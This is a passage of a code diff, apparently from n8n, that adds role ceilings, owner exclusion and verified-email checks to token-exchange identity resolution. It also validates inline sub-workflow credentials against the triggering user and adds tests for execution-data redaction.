expect.objectContaining({ role: { slug: CUSTOM_ROLE } }),
|
||||
|
|
@ -165,7 +186,7 @@ describe('IdentityResolutionService', () => {
|
|||
it('changes to a licensed custom role and emits an update event', async () => {
|
||||
mockLinkedUser('global:member');
|
||||
|
||||
await service.resolve(makeClaims({ role: CUSTOM_ROLE }));
|
||||
await service.resolve(makeClaims({ role: CUSTOM_ROLE }), undefined, ctx());
|
||||
|
||||
expect(userService.changeUserRole).toHaveBeenCalledWith(expect.anything(), {
|
||||
newRoleName: CUSTOM_ROLE,
|
||||
|
|
@ -180,7 +201,7 @@ describe('IdentityResolutionService', () => {
|
|||
mockLinkedUser('global:member');
|
||||
roleService.isGlobalRole.mockResolvedValue(false);
|
||||
|
||||
await service.resolve(makeClaims({ role: 'global:nonexistent' }));
|
||||
await service.resolve(makeClaims({ role: 'global:nonexistent' }), undefined, ctx());
|
||||
|
||||
expect(userService.changeUserRole).not.toHaveBeenCalled();
|
||||
});
|
||||
|
|
@ -189,16 +210,16 @@ describe('IdentityResolutionService', () => {
|
|||
mockLinkedUser('global:member');
|
||||
roleService.isRoleLicensed.mockReturnValue(false);
|
||||
|
||||
await expect(service.resolve(makeClaims({ role: CUSTOM_ROLE }))).rejects.toThrow(
|
||||
TokenExchangeAuthError,
|
||||
);
|
||||
await expect(
|
||||
service.resolve(makeClaims({ role: CUSTOM_ROLE }), undefined, ctx()),
|
||||
).rejects.toThrow(TokenExchangeAuthError);
|
||||
expect(userService.changeUserRole).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('never changes the role of an existing owner', async () => {
|
||||
mockLinkedUser('global:owner');
|
||||
|
||||
await service.resolve(makeClaims({ role: CUSTOM_ROLE }));
|
||||
await service.resolve(makeClaims({ role: CUSTOM_ROLE }), undefined, ctx());
|
||||
|
||||
expect(userService.changeUserRole).not.toHaveBeenCalled();
|
||||
});
|
||||
|
|
@ -206,7 +227,7 @@ describe('IdentityResolutionService', () => {
|
|||
it('ignores a global:owner role claim', async () => {
|
||||
mockLinkedUser('global:member');
|
||||
|
||||
await service.resolve(makeClaims({ role: 'global:owner' }));
|
||||
await service.resolve(makeClaims({ role: 'global:owner' }), undefined, ctx());
|
||||
|
||||
expect(userService.changeUserRole).not.toHaveBeenCalled();
|
||||
});
|
||||
|
|
@ -215,9 +236,89 @@ describe('IdentityResolutionService', () => {
|
|||
mockLinkedUser('global:member');
|
||||
|
||||
await expect(
|
||||
service.resolve(makeClaims({ role: CUSTOM_ROLE }), ['global:member']),
|
||||
service.resolve(makeClaims({ role: CUSTOM_ROLE }), ['global:member'], ctx()),
|
||||
).rejects.toThrow(TokenExchangeAuthError);
|
||||
expect(userService.changeUserRole).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('allowedRoles authority ceiling', () => {
|
||||
it('rejects when a key authenticates as an existing user whose role exceeds allowedRoles (email match)', async () => {
|
||||
userRepository.findOne.mockResolvedValue(makeUser('global:owner'));
|
||||
|
||||
await expect(service.resolve(makeClaims(), ['global:member'], ctx())).rejects.toMatchObject({
|
||||
reason: TokenExchangeFailureReason.RoleNotAllowed,
|
||||
});
|
||||
});
|
||||
|
||||
it('rejects when an already-linked identity resolves to a user whose role exceeds allowedRoles', async () => {
|
||||
authIdentityRepository.findOne.mockResolvedValueOnce(
|
||||
mock<AuthIdentity>({ user: makeUser('global:owner') }),
|
||||
);
|
||||
|
||||
await expect(service.resolve(makeClaims(), ['global:member'], ctx())).rejects.toBeInstanceOf(
|
||||
TokenExchangeAuthError,
|
||||
);
|
||||
});
|
||||
|
||||
it('resolves the existing user when its role is within allowedRoles', async () => {
|
||||
const member = makeUser('global:member');
|
||||
userRepository.findOne.mockResolvedValue(member);
|
||||
|
||||
await expect(service.resolve(makeClaims(), ['global:member'], ctx())).resolves.toBe(member);
|
||||
});
|
||||
|
||||
it('resolves any existing user when allowedRoles is undefined (unrestricted)', async () => {
|
||||
const owner = makeUser('global:owner');
|
||||
userRepository.findOne.mockResolvedValue(owner);
|
||||
|
||||
await expect(service.resolve(makeClaims(), undefined, ctx())).resolves.toBe(owner);
|
||||
});
|
||||
});
|
||||
|
||||
describe('excludeOwner lockout', () => {
|
||||
it('rejects an owner even when allowedRoles explicitly permits it', async () => {
|
||||
config.excludeOwner = true;
|
||||
userRepository.findOne.mockResolvedValue(makeUser('global:owner'));
|
||||
|
||||
await expect(service.resolve(makeClaims(), ['global:owner'], ctx())).rejects.toMatchObject({
|
||||
reason: TokenExchangeFailureReason.RoleNotAllowed,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('requireVerifiedEmail', () => {
|
||||
it('rejects email-fallback linking when email_verified is missing', async () => {
|
||||
userRepository.findOne.mockResolvedValue(makeUser('global:member'));
|
||||
|
||||
await expect(
|
||||
service.resolve(makeClaims(), ['global:member'], ctx(true)),
|
||||
).rejects.toMatchObject({ reason: TokenExchangeFailureReason.EmailNotVerified });
|
||||
});
|
||||
|
||||
it('rejects JIT provisioning when email_verified is missing', async () => {
|
||||
// No existing identity and no existing user → JIT path.
|
||||
await expect(
|
||||
service.resolve(makeClaims(), ['global:member'], ctx(true)),
|
||||
).rejects.toMatchObject({ reason: TokenExchangeFailureReason.EmailNotVerified });
|
||||
});
|
||||
|
||||
it('links an existing user when email_verified is true', async () => {
|
||||
const member = makeUser('global:member');
|
||||
userRepository.findOne.mockResolvedValue(member);
|
||||
|
||||
await expect(
|
||||
service.resolve(makeClaims({ email_verified: true }), ['global:member'], ctx(true)),
|
||||
).resolves.toBe(member);
|
||||
});
|
||||
|
||||
it('links without an email_verified claim when the key does not require it', async () => {
|
||||
const member = makeUser('global:member');
|
||||
userRepository.findOne.mockResolvedValue(member);
|
||||
|
||||
await expect(service.resolve(makeClaims(), ['global:member'], ctx(false))).resolves.toBe(
|
||||
member,
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -36,6 +36,7 @@ const resolvedKey: ResolvedTrustedKey = {
|
|||
key: 'test-public-key',
|
||||
issuer: 'https://issuer.example.com',
|
||||
allowedRoles: ['global:member', 'global:admin'],
|
||||
requireVerifiedEmail: false,
|
||||
};
|
||||
|
||||
const mockUser = mock<User>({
|
||||
|
|
@ -94,7 +95,11 @@ describe('TokenExchangeService', () => {
|
|||
expect(identityResolutionService.resolve).toHaveBeenCalledWith(
|
||||
validClaims,
|
||||
resolvedKey.allowedRoles,
|
||||
{ kid: resolvedKey.kid, issuer: resolvedKey.issuer },
|
||||
{
|
||||
kid: resolvedKey.kid,
|
||||
issuer: resolvedKey.issuer,
|
||||
requireVerifiedEmail: resolvedKey.requireVerifiedEmail,
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
|
|
|
|||
|
|
@ -7,13 +7,14 @@ import {
|
|||
type User,
|
||||
} from '@n8n/db';
|
||||
import { Service } from '@n8n/di';
|
||||
import { isBuiltInRole } from '@n8n/permissions';
|
||||
import { GLOBAL_OWNER_ROLE_SLUG, isBuiltInRole } from '@n8n/permissions';
|
||||
import { createHash } from 'node:crypto';
|
||||
|
||||
import { EventService } from '@/events/event.service';
|
||||
import { RoleService } from '@/services/role.service';
|
||||
import { UserService } from '@/services/user.service';
|
||||
|
||||
import { TokenExchangeConfig } from '../token-exchange.config';
|
||||
import { TokenExchangeAuthError } from '../token-exchange.errors';
|
||||
import type { ExternalTokenClaims } from '../token-exchange.schemas';
|
||||
import { TokenExchangeFailureReason } from '../token-exchange.types';
|
||||
|
|
@ -49,10 +50,38 @@ export class IdentityResolutionService {
|
|||
private readonly userService: UserService,
|
||||
private readonly trustedKeyService: TrustedKeyService,
|
||||
private readonly roleService: RoleService,
|
||||
private readonly config: TokenExchangeConfig,
|
||||
) {
|
||||
this.logger = logger.scoped('token-exchange');
|
||||
}
|
||||
|
||||
private assertKeyMayActAsUser(user: User, allowedRoles?: string[]) {
|
||||
if (this.config.excludeOwner && user.role?.slug === GLOBAL_OWNER_ROLE_SLUG) {
|
||||
throw new TokenExchangeAuthError(
|
||||
TokenExchangeFailureReason.RoleNotAllowed,
|
||||
'User role is not allowed for this key',
|
||||
);
|
||||
}
|
||||
if (allowedRoles?.length && !allowedRoles.includes(user.role?.slug ?? '')) {
|
||||
throw new TokenExchangeAuthError(
|
||||
TokenExchangeFailureReason.RoleNotAllowed,
|
||||
'User role is not allowed for this key',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private assertEmailVerified(
|
||||
claims: ExternalTokenClaims,
|
||||
tokenContext: { requireVerifiedEmail: boolean },
|
||||
) {
|
||||
if (tokenContext?.requireVerifiedEmail && !claims.email_verified) {
|
||||
throw new TokenExchangeAuthError(
|
||||
TokenExchangeFailureReason.EmailNotVerified,
|
||||
'Email is not verified',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Map external identity claims to a local n8n user, creating one if necessary.
|
||||
*
|
||||
|
|
@ -67,8 +96,8 @@ export class IdentityResolutionService {
|
|||
*/
|
||||
async resolve(
|
||||
claims: ExternalTokenClaims,
|
||||
allowedRoles?: string[],
|
||||
tokenContext?: { kid: string; issuer: string },
|
||||
allowedRoles: string[] | undefined,
|
||||
tokenContext: { kid: string; issuer: string; requireVerifiedEmail: boolean },
|
||||
): Promise<User> {
|
||||
const email = claims.email?.toLowerCase();
|
||||
|
||||
|
|
@ -97,8 +126,8 @@ export class IdentityResolutionService {
|
|||
this.eventService.emit('token-exchange-identity-rebound', {
|
||||
userId: identity.user.id,
|
||||
sub: claims.sub,
|
||||
kid: tokenContext?.kid ?? '',
|
||||
issuer: tokenContext?.issuer ?? claims.iss,
|
||||
kid: tokenContext.kid,
|
||||
issuer: tokenContext.issuer,
|
||||
});
|
||||
return await this.resolveByIdentity(claims, identity, allowedRoles, tokenContext);
|
||||
}
|
||||
|
|
@ -131,8 +160,10 @@ export class IdentityResolutionService {
|
|||
claims: ExternalTokenClaims,
|
||||
identity: AuthIdentity,
|
||||
allowedRoles: string[] | undefined,
|
||||
tokenContext: { kid: string; issuer: string } | undefined,
|
||||
tokenContext: { kid: string; issuer: string; requireVerifiedEmail: boolean } | undefined,
|
||||
): Promise<User> {
|
||||
this.assertKeyMayActAsUser(identity.user, allowedRoles);
|
||||
|
||||
this.logger.debug('Resolved user by auth identity', { sub: claims.sub });
|
||||
const resolvedRole = await this.resolveRoleForExistingUser(
|
||||
claims.role,
|
||||
|
|
@ -148,12 +179,14 @@ export class IdentityResolutionService {
|
|||
email: string,
|
||||
existingUser: User,
|
||||
allowedRoles: string[] | undefined,
|
||||
tokenContext: { kid: string; issuer: string } | undefined,
|
||||
tokenContext: { kid: string; issuer: string; requireVerifiedEmail: boolean },
|
||||
): Promise<User> {
|
||||
this.logger.debug('Linking external identity to existing user by email', {
|
||||
sub: claims.sub,
|
||||
email,
|
||||
});
|
||||
this.assertKeyMayActAsUser(existingUser, allowedRoles);
|
||||
this.assertEmailVerified(claims, tokenContext);
|
||||
const resolvedRole = await this.resolveRoleForExistingUser(
|
||||
claims.role,
|
||||
allowedRoles,
|
||||
|
|
@ -178,8 +211,9 @@ export class IdentityResolutionService {
|
|||
claims: ExternalTokenClaims,
|
||||
email: string,
|
||||
allowedRoles: string[] | undefined,
|
||||
tokenContext: { kid: string; issuer: string } | undefined,
|
||||
tokenContext: { kid: string; issuer: string; requireVerifiedEmail: boolean },
|
||||
): Promise<User> {
|
||||
this.assertEmailVerified(claims, tokenContext);
|
||||
this.logger.debug('JIT provisioning new user', { sub: claims.sub, email });
|
||||
|
||||
const jitRole = await this.resolveRoleForNewUser(claims.role, allowedRoles);
|
||||
|
|
@ -334,7 +368,7 @@ export class IdentityResolutionService {
|
|||
user: User,
|
||||
claims: ExternalTokenClaims,
|
||||
resolvedRole?: string,
|
||||
tokenContext?: { kid: string; issuer: string },
|
||||
tokenContext?: { kid: string; issuer: string; requireVerifiedEmail: boolean },
|
||||
): Promise<User> {
|
||||
let needsReload = false;
|
||||
|
||||
|
|
|
|||
|
|
@ -149,6 +149,7 @@ export class TokenExchangeService {
|
|||
const user = await this.identityResolutionService.resolve(claims, resolvedKey.allowedRoles, {
|
||||
kid: resolvedKey.kid,
|
||||
issuer: resolvedKey.issuer,
|
||||
requireVerifiedEmail: resolvedKey.requireVerifiedEmail,
|
||||
});
|
||||
return { user, subject: claims.sub, issuer: resolvedKey.issuer, kid: resolvedKey.kid };
|
||||
}
|
||||
|
|
|
|||
|
|
@ -192,6 +192,7 @@ export class TrustedKeyService {
|
|||
issuer: data.issuer,
|
||||
expectedAudience: data.expectedAudience,
|
||||
allowedRoles: data.allowedRoles,
|
||||
requireVerifiedEmail: data.requireVerifiedEmail ?? true,
|
||||
};
|
||||
}
|
||||
|
||||
|
|
@ -512,6 +513,7 @@ export class TrustedKeyService {
|
|||
issuer: key.issuer,
|
||||
expectedAudience: key.expectedAudience,
|
||||
allowedRoles: key.allowedRoles,
|
||||
requireVerifiedEmail: jwksConfig.requireVerifiedEmail ?? true,
|
||||
expiresAt: new Date(Date.now() + result.ttlSeconds * 1000).toISOString(),
|
||||
},
|
||||
})),
|
||||
|
|
@ -550,7 +552,15 @@ export class TrustedKeyService {
|
|||
const seenKids = new Set<string>();
|
||||
|
||||
for (const config of configs) {
|
||||
const { kid, algorithms, key: pemString, issuer, expectedAudience, allowedRoles } = config;
|
||||
const {
|
||||
kid,
|
||||
algorithms,
|
||||
key: pemString,
|
||||
issuer,
|
||||
expectedAudience,
|
||||
allowedRoles,
|
||||
requireVerifiedEmail,
|
||||
} = config;
|
||||
|
||||
if (seenKids.has(kid)) {
|
||||
throw new UnexpectedError(`Trusted key "${kid}": duplicate kid`);
|
||||
|
|
@ -567,6 +577,7 @@ export class TrustedKeyService {
|
|||
issuer,
|
||||
expectedAudience,
|
||||
allowedRoles,
|
||||
requireVerifiedEmail,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
|
|
|||
|
|
@ -14,6 +14,9 @@ export class TokenExchangeConfig {
|
|||
@Env('N8N_TOKEN_EXCHANGE_MAX_TOKEN_TTL')
|
||||
maxTokenTtl: number = 900;
|
||||
|
||||
@Env('N8N_TOKEN_EXCHANGE_EXCLUDE_OWNER')
|
||||
excludeOwner: boolean = true;
|
||||
|
||||
/**
|
||||
* JSON array of trusted key sources for JWT verification.
|
||||
* Each entry is validated against `TrustedKeySourceSchema`.
|
||||
|
|
|
|||
|
|
@ -38,6 +38,10 @@ export const ExternalTokenClaimsSchema = z.object({
|
|||
given_name: z.string().optional(),
|
||||
family_name: z.string().optional(),
|
||||
role: z.string().optional(),
|
||||
email_verified: z
|
||||
.union([z.boolean(), z.enum(['true', 'false'])])
|
||||
.transform((v) => v === true || v === 'true')
|
||||
.optional(),
|
||||
});
|
||||
|
||||
export type ExternalTokenClaims = z.infer<typeof ExternalTokenClaimsSchema>;
|
||||
|
|
@ -55,6 +59,7 @@ export const TrustedKeySourceSchema = z.discriminatedUnion('type', [
|
|||
algorithms: z.array(JwtAlgorithmSchema).min(1),
|
||||
key: z.string().min(1),
|
||||
issuer: z.string().min(1),
|
||||
requireVerifiedEmail: z.boolean().optional(),
|
||||
expectedAudience: z.string().optional(),
|
||||
allowedRoles: z.array(z.string()).optional(),
|
||||
}),
|
||||
|
|
@ -62,6 +67,7 @@ export const TrustedKeySourceSchema = z.discriminatedUnion('type', [
|
|||
type: z.literal('jwks'),
|
||||
url: z.string().url(),
|
||||
issuer: z.string().min(1),
|
||||
requireVerifiedEmail: z.boolean().optional(),
|
||||
expectedAudience: z.string().optional(),
|
||||
allowedRoles: z.array(z.string()).optional(),
|
||||
cacheTtlSeconds: z.number().int().positive().optional(),
|
||||
|
|
@ -88,6 +94,7 @@ export const TrustedKeyDataSchema = z.object({
|
|||
expectedAudience: z.string().optional(),
|
||||
allowedRoles: z.array(z.string()).optional(),
|
||||
expiresAt: z.string().optional(),
|
||||
requireVerifiedEmail: z.boolean().optional(),
|
||||
});
|
||||
|
||||
export type TrustedKeyData = z.infer<typeof TrustedKeyDataSchema>;
|
||||
|
|
@ -116,6 +123,9 @@ export interface ResolvedTrustedKey {
|
|||
|
||||
/** Roles allowed for tokens signed with this key, if restricted. */
|
||||
allowedRoles?: string[];
|
||||
|
||||
/** Flag indicating that the token's `email_verified` claim must be true, for email linking. */
|
||||
requireVerifiedEmail: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ export const TokenExchangeFailureReason = {
|
|||
InvalidClaims: 'invalid_claims',
|
||||
InternalError: 'internal_error',
|
||||
RoleNotAllowed: 'role_not_allowed',
|
||||
EmailNotVerified: 'email_not_verified',
|
||||
Other: 'other',
|
||||
} as const;
|
||||
|
||||
|
|
|
|||
|
|
@ -335,12 +335,18 @@ export async function executeWorkflow(
|
|||
source: 'integrated',
|
||||
});
|
||||
|
||||
// A sub-workflow loaded from inline JSON / file / URL (source other than a
|
||||
// stored database workflow) carries no project of its own. Its credentials
|
||||
// must be evaluated against the triggering user, not the parent's project.
|
||||
const isInlineSubworkflow = workflowInfo.code !== undefined && workflowInfo.id === undefined;
|
||||
|
||||
const executionPromise = startExecution(
|
||||
additionalData,
|
||||
options,
|
||||
executionId,
|
||||
runData,
|
||||
workflowData,
|
||||
isInlineSubworkflow,
|
||||
);
|
||||
|
||||
if (options.doNotWaitToFinish) {
|
||||
|
|
@ -493,6 +499,7 @@ async function startExecution(
|
|||
executionId: string,
|
||||
runData: IWorkflowExecutionDataProcess,
|
||||
workflowData: IWorkflowBase,
|
||||
isInlineSubworkflow = false,
|
||||
): Promise<ExecuteWorkflowData> {
|
||||
const nodeTypes = Container.get(NodeTypes);
|
||||
const activeExecutions = Container.get(ActiveExecutions);
|
||||
|
|
@ -521,7 +528,17 @@ async function startExecution(
|
|||
|
||||
let data;
|
||||
try {
|
||||
await Container.get(CredentialsPermissionChecker).check(workflowData.id, workflowData.nodes);
|
||||
if (isInlineSubworkflow && additionalData.userId) {
|
||||
// Inline sub-workflow triggered by a specific user: its credentials were
|
||||
// never vetted against that user (they live only in the parameter JSON),
|
||||
// so validate them against the user rather than the parent's project.
|
||||
await Container.get(CredentialsPermissionChecker).checkForUser(
|
||||
additionalData.userId,
|
||||
workflowData.nodes,
|
||||
);
|
||||
} else {
|
||||
await Container.get(CredentialsPermissionChecker).check(workflowData.id, workflowData.nodes);
|
||||
}
|
||||
await Container.get(SubworkflowPolicyChecker).check(
|
||||
workflow,
|
||||
options.parentWorkflowId,
|
||||
|
|
@ -533,6 +550,11 @@ async function startExecution(
|
|||
// different webhooks
|
||||
const workflowSettings = workflowData.settings;
|
||||
const additionalDataIntegrated = await getBase({
|
||||
// Inline sub-workflows carry no project, so the triggering user must be
|
||||
// preserved for nested inline calls to be validated against that user too.
|
||||
// Stored sub-workflows run under their own project scope, so their userId
|
||||
// stays unset (their credentials are validated against the project instead).
|
||||
userId: isInlineSubworkflow ? additionalData.userId : undefined,
|
||||
workflowId: workflowData.id,
|
||||
workflowSettings,
|
||||
});
|
||||
|
|
|
|||
|
|
@ -21,8 +21,15 @@ import { Service } from '@n8n/di';
|
|||
import { hasGlobalScope } from '@n8n/permissions';
|
||||
import { In, type EntityManager } from '@n8n/typeorm';
|
||||
import omit from 'lodash/omit';
|
||||
import type { IWorkflowBase, WorkflowId } from 'n8n-workflow';
|
||||
import { NodeOperationError, PROJECT_ROOT, UserError, WorkflowActivationError } from 'n8n-workflow';
|
||||
import type { INode, IWorkflowBase, WorkflowId } from 'n8n-workflow';
|
||||
import {
|
||||
EXECUTE_WORKFLOW_NODE_TYPE,
|
||||
jsonParse,
|
||||
NodeOperationError,
|
||||
PROJECT_ROOT,
|
||||
UserError,
|
||||
WorkflowActivationError,
|
||||
} from 'n8n-workflow';
|
||||
|
||||
import { ActiveWorkflowManager } from '@/active-workflow-manager';
|
||||
import { CredentialsFinderService } from '@/credentials/credentials-finder.service';
|
||||
|
|
@ -262,17 +269,62 @@ export class EnterpriseWorkflowService {
|
|||
return [];
|
||||
}
|
||||
return workflow.nodes.filter((node) => {
|
||||
if (!node.credentials) return false;
|
||||
|
||||
const allUsedCredentials = Object.values(node.credentials);
|
||||
|
||||
const allUsedCredentialIds = allUsedCredentials.map((nodeCred) => nodeCred.id?.toString());
|
||||
return allUsedCredentialIds.some(
|
||||
(nodeCredId) => nodeCredId && !userCredIds.includes(nodeCredId),
|
||||
);
|
||||
const usedCredentialIds = this.getCredentialIdsUsedByNode(node);
|
||||
return usedCredentialIds.some((credId) => !userCredIds.includes(credId));
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Collect every credential id a node references. Besides the node's own
|
||||
* `credentials`, an Execute Sub-workflow node with an inline source embeds a
|
||||
* whole workflow — including its nodes' credentials — inside a single string
|
||||
* parameter, so those references are parsed out and returned as well.
|
||||
*/
|
||||
private getCredentialIdsUsedByNode(node: INode): string[] {
|
||||
const credentialIds: string[] = [];
|
||||
|
||||
if (node.credentials) {
|
||||
for (const nodeCred of Object.values(node.credentials)) {
|
||||
const id = nodeCred.id?.toString();
|
||||
if (id) credentialIds.push(id);
|
||||
}
|
||||
}
|
||||
|
||||
if (node.type === EXECUTE_WORKFLOW_NODE_TYPE) {
|
||||
credentialIds.push(...this.getCredentialIdsFromInlineWorkflow(node.parameters?.workflowJson));
|
||||
}
|
||||
|
||||
return credentialIds;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the credential ids referenced by the nodes of an inline sub-workflow
|
||||
* passed as the `workflowJson` parameter of an Execute Sub-workflow node.
|
||||
* Non-string or unparseable values reference no resolvable credentials and are
|
||||
* ignored (the node would fail at run time).
|
||||
*/
|
||||
private getCredentialIdsFromInlineWorkflow(workflowJson: unknown): string[] {
|
||||
if (typeof workflowJson !== 'string') return [];
|
||||
|
||||
let parsed: Partial<IWorkflowBase>;
|
||||
try {
|
||||
parsed = jsonParse<Partial<IWorkflowBase>>(workflowJson);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
if (!parsed || !Array.isArray(parsed.nodes)) return [];
|
||||
|
||||
const credentialIds: string[] = [];
|
||||
for (const subNode of parsed.nodes) {
|
||||
if (!subNode?.credentials) continue;
|
||||
for (const nodeCred of Object.values(subNode.credentials)) {
|
||||
const id = nodeCred?.id?.toString();
|
||||
if (id) credentialIds.push(id);
|
||||
}
|
||||
}
|
||||
return credentialIds;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get workflow IDs that use at least one resolvable credential.
|
||||
* Used to populate `hasResolvableCredentials` in workflow list responses.
|
||||
|
|
|
|||
|
|
@ -7,7 +7,14 @@ import {
|
|||
} from '@n8n/backend-test-utils';
|
||||
import type { User } from '@n8n/db';
|
||||
import { stringify } from 'flatted';
|
||||
import type { INode, IRunExecutionData, IWorkflowBase, WorkflowExecuteMode } from 'n8n-workflow';
|
||||
import type {
|
||||
IBinaryKeyData,
|
||||
IDataObject,
|
||||
INode,
|
||||
IRunExecutionData,
|
||||
IWorkflowBase,
|
||||
WorkflowExecuteMode,
|
||||
} from 'n8n-workflow';
|
||||
import { createRunExecutionData, NodeApiError, NodeOperationError } from 'n8n-workflow';
|
||||
|
||||
import { ConcurrencyControlService } from '@/concurrency/concurrency-control.service';
|
||||
|
|
@ -60,10 +67,25 @@ const BINARY_DATA = {
|
|||
fileName: 'secret.txt',
|
||||
};
|
||||
|
||||
const STACK_NODE: INode = {
|
||||
id: 'node-1',
|
||||
name: 'Test Node',
|
||||
type: 'n8n-nodes-base.httpRequest',
|
||||
typeVersion: 1,
|
||||
position: [0, 0],
|
||||
parameters: {},
|
||||
};
|
||||
|
||||
type SensitiveItem = { json: IDataObject; binary?: IBinaryKeyData };
|
||||
|
||||
function buildRunExecutionData(opts: {
|
||||
policy?: 'none' | 'non-manual' | 'all';
|
||||
channels?: { production: boolean; manual: boolean };
|
||||
mode?: WorkflowExecuteMode;
|
||||
/** Item to plant in runData (and, with `withStack`, the executionData subtrees). */
|
||||
item?: SensitiveItem;
|
||||
/** Also plant the item in executionData.nodeExecutionStack and waitingExecution. */
|
||||
withStack?: boolean;
|
||||
}): IRunExecutionData {
|
||||
const redaction = opts.channels
|
||||
? {
|
||||
|
|
@ -75,6 +97,27 @@ function buildRunExecutionData(opts: {
|
|||
? { version: 1 as const, policy: opts.policy }
|
||||
: undefined;
|
||||
|
||||
const item: SensitiveItem = opts.item ?? {
|
||||
json: { ...SENSITIVE_JSON },
|
||||
binary: { file: { ...BINARY_DATA } },
|
||||
};
|
||||
|
||||
const runtimeData = redaction
|
||||
? {
|
||||
version: 1 as const,
|
||||
establishedAt: Date.now(),
|
||||
source: opts.mode ?? 'trigger',
|
||||
redaction,
|
||||
}
|
||||
: undefined;
|
||||
|
||||
const stackSubtrees = opts.withStack
|
||||
? {
|
||||
nodeExecutionStack: [{ node: STACK_NODE, source: null, data: { main: [[{ ...item }]] } }],
|
||||
waitingExecution: { 'Test Node': { 0: { main: [[{ ...item }]] } } },
|
||||
}
|
||||
: undefined;
|
||||
|
||||
return createRunExecutionData({
|
||||
resultData: {
|
||||
runData: {
|
||||
|
|
@ -85,30 +128,15 @@ function buildRunExecutionData(opts: {
|
|||
executionTime: 0,
|
||||
executionStatus: 'success',
|
||||
source: [],
|
||||
data: {
|
||||
main: [
|
||||
[
|
||||
{
|
||||
json: { ...SENSITIVE_JSON },
|
||||
binary: { file: { ...BINARY_DATA } },
|
||||
},
|
||||
],
|
||||
],
|
||||
},
|
||||
data: { main: [[{ ...item }]] },
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
executionData: redaction
|
||||
? {
|
||||
runtimeData: {
|
||||
version: 1 as const,
|
||||
establishedAt: Date.now(),
|
||||
source: opts.mode ?? 'trigger',
|
||||
redaction,
|
||||
},
|
||||
}
|
||||
: undefined,
|
||||
executionData:
|
||||
runtimeData || stackSubtrees
|
||||
? { ...(runtimeData && { runtimeData }), ...stackSubtrees }
|
||||
: undefined,
|
||||
});
|
||||
}
|
||||
|
||||
|
|
@ -117,11 +145,15 @@ async function createExecutionWithRedaction(opts: {
|
|||
mode?: WorkflowExecuteMode;
|
||||
policy?: 'none' | 'non-manual' | 'all';
|
||||
channels?: { production: boolean; manual: boolean };
|
||||
item?: SensitiveItem;
|
||||
withStack?: boolean;
|
||||
}) {
|
||||
const runData = buildRunExecutionData({
|
||||
policy: opts.policy,
|
||||
channels: opts.channels,
|
||||
mode: opts.mode,
|
||||
item: opts.item,
|
||||
withStack: opts.withStack,
|
||||
});
|
||||
return await createExecution(
|
||||
{ data: stringify(runData), mode: opts.mode ?? 'trigger' },
|
||||
|
|
@ -163,6 +195,21 @@ function assertNotRedacted(data: IRunExecutionData) {
|
|||
expect(data.redactionInfo).toBeUndefined();
|
||||
}
|
||||
|
||||
// Asserts the executionData subtrees (nodeExecutionStack, waitingExecution) had
|
||||
// their item data cleared. Requires the execution to have been built with
|
||||
// `withStack: true`.
|
||||
function assertStackRedacted(data: IRunExecutionData) {
|
||||
const stackItem = data.executionData!.nodeExecutionStack[0].data.main[0]![0];
|
||||
expect(stackItem.json).toEqual({});
|
||||
expect(stackItem.binary).toBeUndefined();
|
||||
expect(stackItem.redaction).toMatchObject({ redacted: true });
|
||||
|
||||
const waitItem = data.executionData!.waitingExecution['Test Node'][0].main[0]![0];
|
||||
expect(waitItem.json).toEqual({});
|
||||
expect(waitItem.binary).toBeUndefined();
|
||||
expect(waitItem.redaction).toMatchObject({ redacted: true });
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
|
|
@ -1017,3 +1064,163 @@ describe('GET /api/v1/executions — Execution Redaction', () => {
|
|||
});
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// executionData subtrees (nodeExecutionStack / waitingExecution) redaction
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe('executionData subtrees — redaction through DB round-trip', () => {
|
||||
test('REST GET /executions/:id — stack and waiting items are redacted', async () => {
|
||||
const workflow = await createWorkflow({}, owner);
|
||||
const execution = await createExecutionWithRedaction({
|
||||
workflow,
|
||||
mode: 'trigger',
|
||||
policy: 'all',
|
||||
withStack: true,
|
||||
});
|
||||
|
||||
const response = await testServer
|
||||
.authAgentFor(owner)
|
||||
.get(`/executions/${execution.id}`)
|
||||
.expect(200);
|
||||
|
||||
const data = parseResponseData(response.body);
|
||||
assertRedacted(data);
|
||||
assertStackRedacted(data);
|
||||
});
|
||||
|
||||
test('Public API GET /api/v1/executions/:id — stack and waiting items are redacted', async () => {
|
||||
const workflow = await createWorkflow({}, publicApiMember);
|
||||
const execution = await createExecutionWithRedaction({
|
||||
workflow,
|
||||
mode: 'trigger',
|
||||
policy: 'all',
|
||||
withStack: true,
|
||||
});
|
||||
|
||||
const response = await testServer
|
||||
.publicApiAgentFor(publicApiMember)
|
||||
.get(`/executions/${execution.id}?includeData=true`)
|
||||
.expect(200);
|
||||
|
||||
const data = response.body.data as IRunExecutionData;
|
||||
assertRedacted(data, 'workflow_redaction_policy', true);
|
||||
assertStackRedacted(data);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Canary: a sensitive item value planted in every item-bearing subtree must
|
||||
// not appear anywhere in a redacted response, on any surface that serves data.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe('sensitive item values are not exposed across surfaces', () => {
|
||||
const SENTINEL_JSON = 'IAM950-SENTINEL-JSON-8f3a2b';
|
||||
const SENTINEL_BINARY = 'IAM950-SENTINEL-BINARY-8f3a2b';
|
||||
|
||||
const item: SensitiveItem = {
|
||||
json: { deep: SENTINEL_JSON },
|
||||
